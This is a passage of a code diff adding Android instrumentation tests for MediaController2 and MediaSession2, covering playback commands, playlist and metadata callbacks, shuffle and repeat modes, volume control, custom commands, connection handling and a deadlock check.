+ for (int i = 0; i < methods.length; i++) {
+ // For any methods in the controller callback, TestControllerCallback should have
+ // overriden the method and call matching API in the callback proxy.
+ assertNotEquals("TestControllerCallback should override " + methods[i]
+ + " and call callback proxy",
+ ControllerCallback.class, methods[i].getDeclaringClass());
+ }
+ }
+
+ @Test
+ public void testPlay() {
+ mController.play();
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mPlayCalled);
+ }
+
+ @Test
+ public void testPause() {
+ mController.pause();
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mPauseCalled);
+ }
+
+ @Ignore
+ @Test
+ public void testStop() {
+ mController.stop();
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mStopCalled);
+ }
+
+ @Test
+ public void testPrepare() {
+ mController.prepare();
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mPrepareCalled);
+ }
+
+ @Test
+ public void testFastForward() {
+ // TODO(jaewan): Implement
+ }
+
+ @Test
+ public void testRewind() {
+ // TODO(jaewan): Implement
+ }
+
+ @Test
+ public void testSeekTo() {
+ final long seekPosition = 12125L;
+ mController.seekTo(seekPosition);
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mSeekToCalled);
+ assertEquals(seekPosition, mPlayer.mSeekPosition);
+ }
+
+ @Test
+ public void testGettersAfterConnected() throws InterruptedException {
+ final int state = MediaPlayerBase.PLAYER_STATE_PLAYING;
+ final long position = 150000;
+ final long bufferedPosition = 900000;
+
+ mPlayer.mLastPlayerState = state;
+ mPlayer.mCurrentPosition = position;
+ mPlayer.mBufferedPosition = bufferedPosition;
+
+ MediaController2 controller = createController(mSession.getToken());
+ assertEquals(state, controller.getPlayerState());
+ assertEquals(bufferedPosition, controller.getBufferedPosition());
+ // TODO (jaewan): Enable this test when Session2/Controller2's get(set)PlaybackSpeed
+ // is implemented. (b/74093080)
+ //assertEquals(speed, controller.getPlaybackSpeed());
+ //assertEquals(position + speed * elapsedTime, controller.getPosition(), delta);
+ }
+
+ @Test
+ public void testGetSessionActivity() {
+ PendingIntent sessionActivity = mController.getSessionActivity();
+ assertEquals(mContext.getPackageName(), sessionActivity.getCreatorPackage());
+ assertEquals(Process.myUid(), sessionActivity.getCreatorUid());
+ }
+
+ @Test
+ public void testSetPlaylist() throws InterruptedException {
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ mController.setPlaylist(list, null /* Metadata */);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mSetPlaylistCalled);
+ assertNull(mMockAgent.mMetadata);
+
+ assertNotNull(mMockAgent.mPlaylist);
+ assertEquals(list.size(), mMockAgent.mPlaylist.size());
+ for (int i = 0; i < list.size(); i++) {
+ // MediaController2.setPlaylist does not ensure the equality of the items.
+ assertEquals(list.get(i).getMediaId(), mMockAgent.mPlaylist.get(i).getMediaId());
+ }
+ }
+
+ /**
+ * This also tests {@link ControllerCallback#onPlaylistChanged(
+ * MediaController2, List, MediaMetadata2)}.
+ */
+ @Test
+ public void testGetPlaylist() throws InterruptedException {
+ final List<MediaItem2> testList = TestUtils.createPlaylist(2);
+ final AtomicReference<List<MediaItem2>> listFromCallback = new AtomicReference<>();
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onPlaylistChanged(MediaController2 controller,
+ List<MediaItem2> playlist, MediaMetadata2 metadata) {
+ assertNotNull(playlist);
+ assertEquals(testList.size(), playlist.size());
+ for (int i = 0; i < playlist.size(); i++) {
+ assertEquals(testList.get(i).getMediaId(), playlist.get(i).getMediaId());
+ }
+ listFromCallback.set(playlist);
+ latch.countDown();
+ }
+ };
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return testList;
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testControllerCallback_onPlaylistChanged")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+ .setPlaylistAgent(agent)
+ .build()) {
+ MediaController2 controller = createController(
+ session.getToken(), true, callback);
+ agent.notifyPlaylistChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(listFromCallback.get(), controller.getPlaylist());
+ }
+ }
+
+ @Test
+ public void testUpdatePlaylistMetadata() throws InterruptedException {
+ final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+ mController.updatePlaylistMetadata(testMetadata);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mUpdatePlaylistMetadataCalled);
+ assertNotNull(mMockAgent.mMetadata);
+ assertEquals(testMetadata.getMediaId(), mMockAgent.mMetadata.getMediaId());
+ }
+
+ @Test
+ public void testGetPlaylistMetadata() throws InterruptedException {
+ final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+ final AtomicReference<MediaMetadata2> metadataFromCallback = new AtomicReference<>();
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onPlaylistMetadataChanged(MediaController2 controller,
+ MediaMetadata2 metadata) {
+ assertNotNull(testMetadata);
+ assertEquals(testMetadata.getMediaId(), metadata.getMediaId());
+ metadataFromCallback.set(metadata);
+ latch.countDown();
+ }
+ };
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public MediaMetadata2 getPlaylistMetadata() {
+ return testMetadata;
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testGetPlaylistMetadata")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+ .setPlaylistAgent(agent)
+ .build()) {
+ MediaController2 controller = createController(session.getToken(), true, callback);
+ agent.notifyPlaylistMetadataChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(metadataFromCallback.get().getMediaId(),
+ controller.getPlaylistMetadata().getMediaId());
+ }
+ }
+
+ /**
+ * Test whether {@link MediaSession2#setPlaylist(List, MediaMetadata2)} is notified
+ * through the
+ * {@link ControllerCallback#onPlaylistMetadataChanged(MediaController2, MediaMetadata2)}
+ * if the controller doesn't have {@link SessionCommand2#COMMAND_CODE_PLAYLIST_GET_LIST} but
+ * {@link SessionCommand2#COMMAND_CODE_PLAYLIST_GET_LIST_METADATA}.
+ */
+ @Test
+ public void testControllerCallback_onPlaylistMetadataChanged() throws InterruptedException {
+ final MediaItem2 item = TestUtils.createMediaItemWithMetadata();
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ final CountDownLatch latch = new CountDownLatch(2);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onPlaylistMetadataChanged(MediaController2 controller,
+ MediaMetadata2 metadata) {
+ assertNotNull(metadata);
+ assertEquals(item.getMediaId(), metadata.getMediaId());
+ latch.countDown();
+ }
+ };
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ SessionCommandGroup2 commands = new SessionCommandGroup2();
+ commands.addCommand(new SessionCommand2(
+ SessionCommand2.COMMAND_CODE_PLAYLIST_GET_LIST_METADATA));
+ return commands;
+ }
+ return super.onConnect(session, controller);
+ }
+ };
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public MediaMetadata2 getPlaylistMetadata() {
+ return item.getMetadata();
+ }
+
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testControllerCallback_onPlaylistMetadataChanged")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .setPlaylistAgent(agent)
+ .build()) {
+ MediaController2 controller = createController(session.getToken(), true, callback);
+ agent.notifyPlaylistMetadataChanged();
+ // It also calls onPlaylistMetadataChanged() if it doesn't have permission for getList()
+ agent.notifyPlaylistChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testAddPlaylistItem() throws InterruptedException {
+ final int testIndex = 12;
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mController.addPlaylistItem(testIndex, testMediaItem);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mAddPlaylistItemCalled);
+ assertEquals(testIndex, mMockAgent.mIndex);
+ // MediaController2.addPlaylistItem does not ensure the equality of the items.
+ assertEquals(testMediaItem.getMediaId(), mMockAgent.mItem.getMediaId());
+ }
+
+ @Test
+ public void testRemovePlaylistItem() throws InterruptedException {
+ mMockAgent.mPlaylist = TestUtils.createPlaylist(2);
+
+ // Recreate controller for sending removePlaylistItem.
+ // It's easier to ensure that MediaController2.getPlaylist() returns the playlist from the
+ // agent.
+ MediaController2 controller = createController(mSession.getToken());
+ MediaItem2 targetItem = controller.getPlaylist().get(0);
+ controller.removePlaylistItem(targetItem);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mRemovePlaylistItemCalled);
+ assertEquals(targetItem, mMockAgent.mItem);
+ }
+
+ @Test
+ public void testReplacePlaylistItem() throws InterruptedException {
+ final int testIndex = 12;
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mController.replacePlaylistItem(testIndex, testMediaItem);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mReplacePlaylistItemCalled);
+ // MediaController2.replacePlaylistItem does not ensure the equality of the items.
+ assertEquals(testMediaItem.getMediaId(), mMockAgent.mItem.getMediaId());
+ }
+
+ @Test
+ public void testSkipToPreviousItem() throws InterruptedException {
+ mController.skipToPreviousItem();
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mMockAgent.mSkipToPreviousItemCalled);
+ }
+
+ @Test
+ public void testSkipToNextItem() throws InterruptedException {
+ mController.skipToNextItem();
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mMockAgent.mSkipToNextItemCalled);
+ }
+
+ @Test
+ public void testSkipToPlaylistItem() throws InterruptedException {
+ MediaController2 controller = createController(mSession.getToken());
+ MediaItem2 targetItem = TestUtils.createMediaItemWithMetadata();
+ controller.skipToPlaylistItem(targetItem);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mSkipToPlaylistItemCalled);
+ assertEquals(targetItem, mMockAgent.mItem);
+ }
+
+ /**
+ * This also tests {@link ControllerCallback#onShuffleModeChanged(MediaController2, int)}.
+ */
+ @Test
+ public void testGetShuffleMode() throws InterruptedException {
+ final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public int getShuffleMode() {
+ return testShuffleMode;
+ }
+ };
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+ assertEquals(testShuffleMode, shuffleMode);
+ latch.countDown();
+ }
+ };
+ mSession.updatePlayer(mPlayer, agent, null);
+ MediaController2 controller = createController(mSession.getToken(), true, callback);
+ agent.notifyShuffleModeChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(testShuffleMode, controller.getShuffleMode());
+ }
+
+ @Test
+ public void testSetShuffleMode() throws InterruptedException {
+ final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+ mController.setShuffleMode(testShuffleMode);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mSetShuffleModeCalled);
+ assertEquals(testShuffleMode, mMockAgent.mShuffleMode);
+ }
+
+ /**
+ * This also tests {@link ControllerCallback#onRepeatModeChanged(MediaController2, int)}.
+ */
+ @Test
+ public void testGetRepeatMode() throws InterruptedException {
+ final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public int getRepeatMode() {
+ return testRepeatMode;
+ }
+ };
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+ assertEquals(testRepeatMode, repeatMode);
+ latch.countDown();
+ }
+ };
+ mSession.updatePlayer(mPlayer, agent, null);
+ MediaController2 controller = createController(mSession.getToken(), true, callback);
+ agent.notifyRepeatModeChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(testRepeatMode, controller.getRepeatMode());
+ }
+
+ @Test
+ public void testSetRepeatMode() throws InterruptedException {
+ final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+ mController.setRepeatMode(testRepeatMode);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mSetRepeatModeCalled);
+ assertEquals(testRepeatMode, mMockAgent.mRepeatMode);
+ }
+
+ @Test
+ public void testSetVolumeTo() throws Exception {
+ final int maxVolume = 100;
+ final int currentVolume = 23;
+ final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+ TestVolumeProvider volumeProvider =
+ new TestVolumeProvider(volumeControlType, maxVolume, currentVolume);
+
+ mSession.updatePlayer(new MockPlayer(0), null, volumeProvider);
+ final MediaController2 controller = createController(mSession.getToken(), true, null);
+
+ final int targetVolume = 50;
+ controller.setVolumeTo(targetVolume, 0 /* flags */);
+ assertTrue(volumeProvider.mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(volumeProvider.mSetVolumeToCalled);
+ assertEquals(targetVolume, volumeProvider.mVolume);
+ }
+
+ @Test
+ public void testAdjustVolume() throws Exception {
+ final int maxVolume = 100;
+ final int currentVolume = 23;
+ final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+ TestVolumeProvider volumeProvider =
+ new TestVolumeProvider(volumeControlType, maxVolume, currentVolume);
+
+ mSession.updatePlayer(new MockPlayer(0), null, volumeProvider);
+ final MediaController2 controller = createController(mSession.getToken(), true, null);
+
+ final int direction = AudioManager.ADJUST_RAISE;
+ controller.adjustVolume(direction, 0 /* flags */);
+ assertTrue(volumeProvider.mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(volumeProvider.mAdjustVolumeCalled);
+ assertEquals(direction, volumeProvider.mDirection);
+ }
+
+ @Test
+ public void testGetPackageName() {
+ assertEquals(mContext.getPackageName(), mController.getSessionToken().getPackageName());
+ }
+
+ @Test
+ public void testSendCustomCommand() throws InterruptedException {
+ // TODO(jaewan): Need to revisit with the permission.
+ final SessionCommand2 testCommand =
+ new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PREPARE);
+ final Bundle testArgs = new Bundle();
+ testArgs.putString("args", "testSendCustomAction");
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onCustomCommand(MediaSession2 session, ControllerInfo controller,
+ SessionCommand2 customCommand, Bundle args, ResultReceiver cb) {
+ super.onCustomCommand(session, controller, customCommand, args, cb);
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(testCommand, customCommand);
+ assertTrue(TestUtils.equals(testArgs, args));
+ assertNull(cb);
+ latch.countDown();
+ }
+ };
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback).setId(TAG).build();
+ final MediaController2 controller = createController(mSession.getToken());
+ controller.sendCustomCommand(testCommand, testArgs, null);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testControllerCallback_onConnected() throws InterruptedException {
+ // createController() uses controller callback to wait until the controller becomes
+ // available.
+ MediaController2 controller = createController(mSession.getToken());
+ assertNotNull(controller);
+ }
+
+ @Test
+ public void testControllerCallback_sessionRejects() throws InterruptedException {
+ final MediaSession2.SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ return null;
+ }
+ };
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, sessionCallback).build();
+ });
+ MediaController2 controller =
+ createController(mSession.getToken(), false, null);
+ assertNotNull(controller);
+ waitForConnect(controller, false);
+ waitForDisconnect(controller, true);
+ }
+
+ @Test
+ public void testControllerCallback_releaseSession() throws InterruptedException {
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ });
+ waitForDisconnect(mController, true);
+ }
+
+ @Test
+ public void testControllerCallback_release() throws InterruptedException {
+ mController.close();
+ waitForDisconnect(mController, true);
+ }
+
+ @Test
+ public void testPlayFromSearch() throws InterruptedException {
+ final String request = "random query";
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPlayFromSearch(MediaSession2 session, ControllerInfo controller,
+ String query, Bundle extras) {
+ super.onPlayFromSearch(session, controller, query, extras);
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, query);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPlayFromSearch").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.playFromSearch(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPlayFromUri() throws InterruptedException {
+ final Uri request = Uri.parse("foo://boo");
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPlayFromUri(MediaSession2 session, ControllerInfo controller, Uri uri,
+ Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, uri);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPlayFromUri").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.playFromUri(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPlayFromMediaId() throws InterruptedException {
+ final String request = "media_id";
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPlayFromMediaId(MediaSession2 session, ControllerInfo controller,
+ String mediaId, Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, mediaId);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPlayFromMediaId").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.playFromMediaId(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPrepareFromSearch() throws InterruptedException {
+ final String request = "random query";
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPrepareFromSearch(MediaSession2 session, ControllerInfo controller,
+ String query, Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, query);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPrepareFromSearch").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.prepareFromSearch(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPrepareFromUri() throws InterruptedException {
+ final Uri request = Uri.parse("foo://boo");
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPrepareFromUri(MediaSession2 session, ControllerInfo controller, Uri uri,
+ Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, uri);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPrepareFromUri").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.prepareFromUri(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPrepareFromMediaId() throws InterruptedException {
+ final String request = "media_id";
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPrepareFromMediaId(MediaSession2 session, ControllerInfo controller,
+ String mediaId, Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, mediaId);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPrepareFromMediaId").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.prepareFromMediaId(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetRating() throws InterruptedException {
+ final int ratingType = Rating2.RATING_5_STARS;
+ final float ratingValue = 3.5f;
+ final Rating2 rating = Rating2.newStarRating(ratingType, ratingValue);
+ final String mediaId = "media_id";
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onSetRating(MediaSession2 session, ControllerInfo controller,
+ String mediaIdOut, Rating2 ratingOut) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(mediaId, mediaIdOut);
+ assertEquals(rating, ratingOut);
+ latch.countDown();
+ }
+ };
+
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testSetRating").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.setRating(mediaId, rating);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testIsConnected() throws InterruptedException {
+ assertTrue(mController.isConnected());
+ sHandler.postAndSync(()->{
+ mSession.close();
+ });
+ // postAndSync() to wait until the disconnection is propagated.
+ sHandler.postAndSync(()->{
+ assertFalse(mController.isConnected());
+ });
+ }
+
+ /**
+ * Test potential deadlock for calls between controller and session.
+ */
+ @Test
+ public void testDeadlock() throws InterruptedException {
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = null;
+ });
+
+ // Two more threads are needed not to block test thread nor test wide thread (sHandler).
+ final HandlerThread sessionThread = new HandlerThread("testDeadlock_session");
+ final HandlerThread testThread = new HandlerThread("testDeadlock_test");
+ sessionThread.start();
+ testThread.start();
+ final SyncHandler sessionHandler = new SyncHandler(sessionThread.getLooper());
+ final Handler testHandler = new Handler(testThread.getLooper());
+ final CountDownLatch latch = new CountDownLatch(1);
+ try {
+ final MockPlayer player = new MockPlayer(0);
+ sessionHandler.postAndSync(() -> {
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+ .setId("testDeadlock").build();
+ });
+ final MediaController2 controller = createController(mSession.getToken());
+ testHandler.post(() -> {
+ final int state = MediaPlayerBase.PLAYER_STATE_ERROR;
+ for (int i = 0; i < 100; i++) {
+ // triggers call from session to controller.
+ player.notifyPlaybackState(state);
+ // triggers call from controller to session.
+ controller.play();
+
+ // Repeat above
+ player.notifyPlaybackState(state);
+ controller.pause();
+ player.notifyPlaybackState(state);
+ controller.stop();
+ player.notifyPlaybackState(state);
+ controller.skipToNextItem();
+ player.notifyPlaybackState(state);
+ controller.skipToPreviousItem();
+ }
+ // This may hang if deadlock happens.
+ latch.countDown();
+ });
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } finally {
+ if (mSession != null) {
+ sessionHandler.postAndSync(() -> {
+ // Clean up here because sessionHandler will be removed afterwards.
+ mSession.close();
+ mSession = null;
+ });
+ }
+ if (sessionThread != null) {
+ sessionThread.quitSafely();
+ }
+ if (testThread != null) {
+ testThread.quitSafely();
+ }
+ }
+ }
+
+ @Test
+ public void testGetServiceToken() {
+ SessionToken2 token = TestUtils.getServiceToken(mContext, MockMediaSessionService2.ID);
+ assertNotNull(token);
+ assertEquals(mContext.getPackageName(), token.getPackageName());
+ assertEquals(MockMediaSessionService2.ID, token.getId());
+ assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+ }
+
+ @Test
+ public void testConnectToService_sessionService() throws InterruptedException {
+ testConnectToService(MockMediaSessionService2.ID);
+ }
+
+ @Ignore
+ @Test
+ public void testConnectToService_libraryService() throws InterruptedException {
+ testConnectToService(MockMediaLibraryService2.ID);
+ }
+
+ public void testConnectToService(String id) throws InterruptedException {
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(@NonNull MediaSession2 session,
+ @NonNull ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ if (mSession != null) {
+ mSession.close();
+ }
+ mSession = session;
+ mPlayer = (MockPlayer) session.getPlayer();
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertFalse(controller.isTrusted());
+ latch.countDown();
+ }
+ return super.onConnect(session, controller);
+ }
+ };
+ TestServiceRegistry.getInstance().setSessionCallback(sessionCallback);
+
+ mController = createController(TestUtils.getServiceToken(mContext, id));
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ // Test command from controller to session service
+ mController.play();
+ assertTrue(mPlayer.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mPlayer.mPlayCalled);
+
+ // Test command from session service to controller
+ // TODO(jaewan): Add equivalent tests again
+ /*
+ final CountDownLatch latch = new CountDownLatch(1);
+ mController.registerPlayerEventCallback((state) -> {
+ assertNotNull(state);
+ assertEquals(PlaybackState.STATE_REWINDING, state.getState());
+ latch.countDown();
+ }, sHandler);
+ mPlayer.notifyPlaybackState(
+ TestUtils.createPlaybackState(PlaybackState.STATE_REWINDING));
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ */
+ }
+
+ @Test
+ public void testControllerAfterSessionIsGone_session() throws InterruptedException {
+ testControllerAfterSessionIsGone(mSession.getToken().getId());
+ }
+
+ // TODO(jaewan): Re-enable this test
+ @Ignore
+ @Test
+ public void testControllerAfterSessionIsGone_sessionService() throws InterruptedException {
+ /*
+ connectToService(TestUtils.getServiceToken(mContext, MockMediaSessionService2.ID));
+ testControllerAfterSessionIsGone(MockMediaSessionService2.ID);
+ */
+ }
+
+ @Test
+ public void testClose_beforeConnected() throws InterruptedException {
+ MediaController2 controller =
+ createController(mSession.getToken(), false, null);
+ controller.close();
+ }
+
+ @Test
+ public void testClose_twice() {
